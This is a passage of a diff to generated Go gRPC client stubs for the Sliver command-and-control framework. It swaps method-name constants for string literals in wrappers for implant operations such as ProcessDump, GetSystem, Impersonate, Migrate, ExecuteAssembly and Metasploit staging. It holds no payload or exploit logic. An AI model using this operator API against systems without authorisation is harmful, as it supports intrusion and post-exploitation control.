- err := c.cc.Invoke(ctx, SliverRPC_ImplantProfiles_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ImplantProfiles", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1198,7 +1012,7 @@ func (c *sliverRPCClient) ImplantProfiles(ctx context.Context, in *commonpb.Empt
func (c *sliverRPCClient) DeleteImplantProfile(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_DeleteImplantProfile_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/DeleteImplantProfile", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1207,16 +1021,7 @@ func (c *sliverRPCClient) DeleteImplantProfile(ctx context.Context, in *clientpb
func (c *sliverRPCClient) SaveImplantProfile(ctx context.Context, in *clientpb.ImplantProfile, opts ...grpc.CallOption) (*clientpb.ImplantProfile, error) {
out := new(clientpb.ImplantProfile)
- err := c.cc.Invoke(ctx, SliverRPC_SaveImplantProfile_FullMethodName, in, out, opts...)
- if err != nil {
- return nil, err
- }
- return out, nil
-}
-
-func (c *sliverRPCClient) MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) {
- out := new(clientpb.MsfStager)
- err := c.cc.Invoke(ctx, SliverRPC_MsfStage_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SaveImplantProfile", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1225,7 +1030,7 @@ func (c *sliverRPCClient) MsfStage(ctx context.Context, in *clientpb.MsfStagerRe
func (c *sliverRPCClient) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) {
out := new(clientpb.ShellcodeRDI)
- err := c.cc.Invoke(ctx, SliverRPC_ShellcodeRDI_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeRDI", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1234,7 +1039,7 @@ func (c *sliverRPCClient) ShellcodeRDI(ctx context.Context, in *clientpb.Shellco
func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) {
out := new(clientpb.Compiler)
- err := c.cc.Invoke(ctx, SliverRPC_GetCompiler_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetCompiler", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1243,7 +1048,7 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o
func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) {
out := new(clientpb.ShellcodeEncode)
- err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoder", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1252,7 +1057,7 @@ func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.She
func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) {
out := new(clientpb.ShellcodeEncoderMap)
- err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoderMap_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ShellcodeEncoderMap", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1261,7 +1066,7 @@ func (c *sliverRPCClient) ShellcodeEncoderMap(ctx context.Context, in *commonpb.
func (c *sliverRPCClient) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) {
out := new(clientpb.TrafficEncoderMap)
- err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderMap_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderMap", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1270,7 +1075,7 @@ func (c *sliverRPCClient) TrafficEncoderMap(ctx context.Context, in *commonpb.Em
func (c *sliverRPCClient) TrafficEncoderAdd(ctx context.Context, in *clientpb.TrafficEncoder, opts ...grpc.CallOption) (*clientpb.TrafficEncoderTests, error) {
out := new(clientpb.TrafficEncoderTests)
- err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderAdd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderAdd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1279,7 +1084,7 @@ func (c *sliverRPCClient) TrafficEncoderAdd(ctx context.Context, in *clientpb.Tr
func (c *sliverRPCClient) TrafficEncoderRm(ctx context.Context, in *clientpb.TrafficEncoder, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_TrafficEncoderRm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/TrafficEncoderRm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1288,7 +1093,7 @@ func (c *sliverRPCClient) TrafficEncoderRm(ctx context.Context, in *clientpb.Tra
func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Websites, error) {
out := new(clientpb.Websites)
- err := c.cc.Invoke(ctx, SliverRPC_Websites_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Websites", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1297,7 +1102,7 @@ func (c *sliverRPCClient) Websites(ctx context.Context, in *commonpb.Empty, opts
func (c *sliverRPCClient) Website(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*clientpb.Website, error) {
out := new(clientpb.Website)
- err := c.cc.Invoke(ctx, SliverRPC_Website_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Website", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1306,7 +1111,7 @@ func (c *sliverRPCClient) Website(ctx context.Context, in *clientpb.Website, opt
func (c *sliverRPCClient) WebsiteRemove(ctx context.Context, in *clientpb.Website, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
- err := c.cc.Invoke(ctx, SliverRPC_WebsiteRemove_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteRemove", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1315,7 +1120,7 @@ func (c *sliverRPCClient) WebsiteRemove(ctx context.Context, in *clientpb.Websit
func (c *sliverRPCClient) WebsiteAddContent(ctx context.Context, in *clientpb.WebsiteAddContent, opts ...grpc.CallOption) (*clientpb.Website, error) {
out := new(clientpb.Website)
- err := c.cc.Invoke(ctx, SliverRPC_WebsiteAddContent_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteAddContent", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1324,7 +1129,7 @@ func (c *sliverRPCClient) WebsiteAddContent(ctx context.Context, in *clientpb.We
func (c *sliverRPCClient) WebsiteUpdateContent(ctx context.Context, in *clientpb.WebsiteAddContent, opts ...grpc.CallOption) (*clientpb.Website, error) {
out := new(clientpb.Website)
- err := c.cc.Invoke(ctx, SliverRPC_WebsiteUpdateContent_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteUpdateContent", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1333,7 +1138,7 @@ func (c *sliverRPCClient) WebsiteUpdateContent(ctx context.Context, in *clientpb
func (c *sliverRPCClient) WebsiteRemoveContent(ctx context.Context, in *clientpb.WebsiteRemoveContent, opts ...grpc.CallOption) (*clientpb.Website, error) {
out := new(clientpb.Website)
- err := c.cc.Invoke(ctx, SliverRPC_WebsiteRemoveContent_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WebsiteRemoveContent", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1342,7 +1147,7 @@ func (c *sliverRPCClient) WebsiteRemoveContent(ctx context.Context, in *clientpb
func (c *sliverRPCClient) Ping(ctx context.Context, in *sliverpb.Ping, opts ...grpc.CallOption) (*sliverpb.Ping, error) {
out := new(sliverpb.Ping)
- err := c.cc.Invoke(ctx, SliverRPC_Ping_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ping", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1351,7 +1156,7 @@ func (c *sliverRPCClient) Ping(ctx context.Context, in *sliverpb.Ping, opts ...g
func (c *sliverRPCClient) Ps(ctx context.Context, in *sliverpb.PsReq, opts ...grpc.CallOption) (*sliverpb.Ps, error) {
out := new(sliverpb.Ps)
- err := c.cc.Invoke(ctx, SliverRPC_Ps_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ps", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1360,7 +1165,7 @@ func (c *sliverRPCClient) Ps(ctx context.Context, in *sliverpb.PsReq, opts ...gr
func (c *sliverRPCClient) Terminate(ctx context.Context, in *sliverpb.TerminateReq, opts ...grpc.CallOption) (*sliverpb.Terminate, error) {
out := new(sliverpb.Terminate)
- err := c.cc.Invoke(ctx, SliverRPC_Terminate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Terminate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1369,7 +1174,7 @@ func (c *sliverRPCClient) Terminate(ctx context.Context, in *sliverpb.TerminateR
func (c *sliverRPCClient) Ifconfig(ctx context.Context, in *sliverpb.IfconfigReq, opts ...grpc.CallOption) (*sliverpb.Ifconfig, error) {
out := new(sliverpb.Ifconfig)
- err := c.cc.Invoke(ctx, SliverRPC_Ifconfig_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ifconfig", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1378,7 +1183,7 @@ func (c *sliverRPCClient) Ifconfig(ctx context.Context, in *sliverpb.IfconfigReq
func (c *sliverRPCClient) Netstat(ctx context.Context, in *sliverpb.NetstatReq, opts ...grpc.CallOption) (*sliverpb.Netstat, error) {
out := new(sliverpb.Netstat)
- err := c.cc.Invoke(ctx, SliverRPC_Netstat_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Netstat", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1387,7 +1192,7 @@ func (c *sliverRPCClient) Netstat(ctx context.Context, in *sliverpb.NetstatReq,
func (c *sliverRPCClient) Ls(ctx context.Context, in *sliverpb.LsReq, opts ...grpc.CallOption) (*sliverpb.Ls, error) {
out := new(sliverpb.Ls)
- err := c.cc.Invoke(ctx, SliverRPC_Ls_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Ls", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1396,7 +1201,7 @@ func (c *sliverRPCClient) Ls(ctx context.Context, in *sliverpb.LsReq, opts ...gr
func (c *sliverRPCClient) Cd(ctx context.Context, in *sliverpb.CdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error) {
out := new(sliverpb.Pwd)
- err := c.cc.Invoke(ctx, SliverRPC_Cd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1405,7 +1210,7 @@ func (c *sliverRPCClient) Cd(ctx context.Context, in *sliverpb.CdReq, opts ...gr
func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...grpc.CallOption) (*sliverpb.Pwd, error) {
out := new(sliverpb.Pwd)
- err := c.cc.Invoke(ctx, SliverRPC_Pwd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Pwd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1414,7 +1219,7 @@ func (c *sliverRPCClient) Pwd(ctx context.Context, in *sliverpb.PwdReq, opts ...
func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...grpc.CallOption) (*sliverpb.Mv, error) {
out := new(sliverpb.Mv)
- err := c.cc.Invoke(ctx, SliverRPC_Mv_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mv", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1423,7 +1228,7 @@ func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...gr
func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error) {
out := new(sliverpb.Cp)
- err := c.cc.Invoke(ctx, SliverRPC_Cp_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cp", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1432,7 +1237,7 @@ func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...gr
func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) {
out := new(sliverpb.Rm)
- err := c.cc.Invoke(ctx, SliverRPC_Rm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1441,7 +1246,7 @@ func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...gr
func (c *sliverRPCClient) Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts ...grpc.CallOption) (*sliverpb.Mkdir, error) {
out := new(sliverpb.Mkdir)
- err := c.cc.Invoke(ctx, SliverRPC_Mkdir_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mkdir", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1450,7 +1255,7 @@ func (c *sliverRPCClient) Mkdir(ctx context.Context, in *sliverpb.MkdirReq, opts
func (c *sliverRPCClient) Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error) {
out := new(sliverpb.Download)
- err := c.cc.Invoke(ctx, SliverRPC_Download_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Download", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1459,7 +1264,7 @@ func (c *sliverRPCClient) Download(ctx context.Context, in *sliverpb.DownloadReq
func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, opts ...grpc.CallOption) (*sliverpb.Upload, error) {
out := new(sliverpb.Upload)
- err := c.cc.Invoke(ctx, SliverRPC_Upload_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Upload", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1468,7 +1273,7 @@ func (c *sliverRPCClient) Upload(ctx context.Context, in *sliverpb.UploadReq, op
func (c *sliverRPCClient) Grep(ctx context.Context, in *sliverpb.GrepReq, opts ...grpc.CallOption) (*sliverpb.Grep, error) {
out := new(sliverpb.Grep)
- err := c.cc.Invoke(ctx, SliverRPC_Grep_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Grep", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1477,7 +1282,7 @@ func (c *sliverRPCClient) Grep(ctx context.Context, in *sliverpb.GrepReq, opts .
func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts ...grpc.CallOption) (*sliverpb.Chmod, error) {
out := new(sliverpb.Chmod)
- err := c.cc.Invoke(ctx, SliverRPC_Chmod_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chmod", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1486,7 +1291,7 @@ func (c *sliverRPCClient) Chmod(ctx context.Context, in *sliverpb.ChmodReq, opts
func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts ...grpc.CallOption) (*sliverpb.Chown, error) {
out := new(sliverpb.Chown)
- err := c.cc.Invoke(ctx, SliverRPC_Chown_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chown", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1495,7 +1300,7 @@ func (c *sliverRPCClient) Chown(ctx context.Context, in *sliverpb.ChownReq, opts
func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq, opts ...grpc.CallOption) (*sliverpb.Chtimes, error) {
out := new(sliverpb.Chtimes)
- err := c.cc.Invoke(ctx, SliverRPC_Chtimes_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Chtimes", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1504,7 +1309,7 @@ func (c *sliverRPCClient) Chtimes(ctx context.Context, in *sliverpb.ChtimesReq,
func (c *sliverRPCClient) MemfilesList(ctx context.Context, in *sliverpb.MemfilesListReq, opts ...grpc.CallOption) (*sliverpb.Ls, error) {
out := new(sliverpb.Ls)
- err := c.cc.Invoke(ctx, SliverRPC_MemfilesList_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesList", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1513,7 +1318,7 @@ func (c *sliverRPCClient) MemfilesList(ctx context.Context, in *sliverpb.Memfile
func (c *sliverRPCClient) MemfilesAdd(ctx context.Context, in *sliverpb.MemfilesAddReq, opts ...grpc.CallOption) (*sliverpb.MemfilesAdd, error) {
out := new(sliverpb.MemfilesAdd)
- err := c.cc.Invoke(ctx, SliverRPC_MemfilesAdd_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesAdd", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1522,7 +1327,7 @@ func (c *sliverRPCClient) MemfilesAdd(ctx context.Context, in *sliverpb.Memfiles
func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesRmReq, opts ...grpc.CallOption) (*sliverpb.MemfilesRm, error) {
out := new(sliverpb.MemfilesRm)
- err := c.cc.Invoke(ctx, SliverRPC_MemfilesRm_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MemfilesRm", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1531,7 +1336,7 @@ func (c *sliverRPCClient) MemfilesRm(ctx context.Context, in *sliverpb.MemfilesR
func (c *sliverRPCClient) Mount(ctx context.Context, in *sliverpb.MountReq, opts ...grpc.CallOption) (*sliverpb.Mount, error) {
out := new(sliverpb.Mount)
- err := c.cc.Invoke(ctx, SliverRPC_Mount_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Mount", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1540,7 +1345,7 @@ func (c *sliverRPCClient) Mount(ctx context.Context, in *sliverpb.MountReq, opts
func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessDumpReq, opts ...grpc.CallOption) (*sliverpb.ProcessDump, error) {
out := new(sliverpb.ProcessDump)
- err := c.cc.Invoke(ctx, SliverRPC_ProcessDump_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ProcessDump", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1549,7 +1354,7 @@ func (c *sliverRPCClient) ProcessDump(ctx context.Context, in *sliverpb.ProcessD
func (c *sliverRPCClient) RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts ...grpc.CallOption) (*sliverpb.RunAs, error) {
out := new(sliverpb.RunAs)
- err := c.cc.Invoke(ctx, SliverRPC_RunAs_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunAs", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1558,7 +1363,7 @@ func (c *sliverRPCClient) RunAs(ctx context.Context, in *sliverpb.RunAsReq, opts
func (c *sliverRPCClient) Impersonate(ctx context.Context, in *sliverpb.ImpersonateReq, opts ...grpc.CallOption) (*sliverpb.Impersonate, error) {
out := new(sliverpb.Impersonate)
- err := c.cc.Invoke(ctx, SliverRPC_Impersonate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Impersonate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1567,7 +1372,7 @@ func (c *sliverRPCClient) Impersonate(ctx context.Context, in *sliverpb.Imperson
func (c *sliverRPCClient) RevToSelf(ctx context.Context, in *sliverpb.RevToSelfReq, opts ...grpc.CallOption) (*sliverpb.RevToSelf, error) {
out := new(sliverpb.RevToSelf)
- err := c.cc.Invoke(ctx, SliverRPC_RevToSelf_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RevToSelf", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1576,7 +1381,7 @@ func (c *sliverRPCClient) RevToSelf(ctx context.Context, in *sliverpb.RevToSelfR
func (c *sliverRPCClient) GetSystem(ctx context.Context, in *clientpb.GetSystemReq, opts ...grpc.CallOption) (*sliverpb.GetSystem, error) {
out := new(sliverpb.GetSystem)
- err := c.cc.Invoke(ctx, SliverRPC_GetSystem_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetSystem", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1585,7 +1390,7 @@ func (c *sliverRPCClient) GetSystem(ctx context.Context, in *clientpb.GetSystemR
func (c *sliverRPCClient) Task(ctx context.Context, in *sliverpb.TaskReq, opts ...grpc.CallOption) (*sliverpb.Task, error) {
out := new(sliverpb.Task)
- err := c.cc.Invoke(ctx, SliverRPC_Task_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Task", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1594,7 +1399,7 @@ func (c *sliverRPCClient) Task(ctx context.Context, in *sliverpb.TaskReq, opts .
func (c *sliverRPCClient) Msf(ctx context.Context, in *clientpb.MSFReq, opts ...grpc.CallOption) (*sliverpb.Task, error) {
out := new(sliverpb.Task)
- err := c.cc.Invoke(ctx, SliverRPC_Msf_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Msf", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1603,7 +1408,7 @@ func (c *sliverRPCClient) Msf(ctx context.Context, in *clientpb.MSFReq, opts ...
func (c *sliverRPCClient) MsfRemote(ctx context.Context, in *clientpb.MSFRemoteReq, opts ...grpc.CallOption) (*sliverpb.Task, error) {
out := new(sliverpb.Task)
- err := c.cc.Invoke(ctx, SliverRPC_MsfRemote_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MsfRemote", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1612,7 +1417,7 @@ func (c *sliverRPCClient) MsfRemote(ctx context.Context, in *clientpb.MSFRemoteR
func (c *sliverRPCClient) ExecuteAssembly(ctx context.Context, in *sliverpb.ExecuteAssemblyReq, opts ...grpc.CallOption) (*sliverpb.ExecuteAssembly, error) {
out := new(sliverpb.ExecuteAssembly)
- err := c.cc.Invoke(ctx, SliverRPC_ExecuteAssembly_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteAssembly", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1621,7 +1426,7 @@ func (c *sliverRPCClient) ExecuteAssembly(ctx context.Context, in *sliverpb.Exec
func (c *sliverRPCClient) Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error) {
out := new(sliverpb.Migrate)
- err := c.cc.Invoke(ctx, SliverRPC_Migrate_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Migrate", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1630,7 +1435,7 @@ func (c *sliverRPCClient) Migrate(ctx context.Context, in *clientpb.MigrateReq,
func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
out := new(sliverpb.Execute)
- err := c.cc.Invoke(ctx, SliverRPC_Execute_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Execute", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1639,7 +1444,7 @@ func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq,
func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
out := new(sliverpb.Execute)
- err := c.cc.Invoke(ctx, SliverRPC_ExecuteWindows_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteWindows", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1648,7 +1453,7 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
out := new(sliverpb.Sideload)
- err := c.cc.Invoke(ctx, SliverRPC_Sideload_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1657,7 +1462,7 @@ func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq
func (c *sliverRPCClient) SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error) {
out := new(sliverpb.SpawnDll)
- err := c.cc.Invoke(ctx, SliverRPC_SpawnDll_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SpawnDll", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1666,7 +1471,7 @@ func (c *sliverRPCClient) SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawn
func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error) {
out := new(sliverpb.Screenshot)
- err := c.cc.Invoke(ctx, SliverRPC_Screenshot_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Screenshot", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1675,7 +1480,7 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho
func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error) {
out := new(sliverpb.CurrentTokenOwner)
- err := c.cc.Invoke(ctx, SliverRPC_CurrentTokenOwner_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CurrentTokenOwner", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1684,7 +1489,7 @@ func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.Cu
func (c *sliverRPCClient) Services(ctx context.Context, in *sliverpb.ServicesReq, opts ...grpc.CallOption) (*sliverpb.Services, error) {
out := new(sliverpb.Services)
- err := c.cc.Invoke(ctx, SliverRPC_Services_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Services", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1693,7 +1498,7 @@ func (c *sliverRPCClient) Services(ctx context.Context, in *sliverpb.ServicesReq
func (c *sliverRPCClient) ServiceDetail(ctx context.Context, in *sliverpb.ServiceDetailReq, opts ...grpc.CallOption) (*sliverpb.ServiceDetail, error) {
out := new(sliverpb.ServiceDetail)
- err := c.cc.Invoke(ctx, SliverRPC_ServiceDetail_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ServiceDetail", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1702,7 +1507,7 @@ func (c *sliverRPCClient) ServiceDetail(ctx context.Context, in *sliverpb.Servic
func (c *sliverRPCClient) StartServiceByName(ctx context.Context, in *sliverpb.StartServiceByNameReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) {
out := new(sliverpb.ServiceInfo)
- err := c.cc.Invoke(ctx, SliverRPC_StartServiceByName_FullMethodName, in, out, opts...)
+ err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartServiceByName", in, out, opts...)
if err != nil {
return nil, err
}
@@ -1711,7 +1516,7 @@ func (c *sliverRPCClient) StartServiceByName(ctx context.Context, in *sliverpb.S
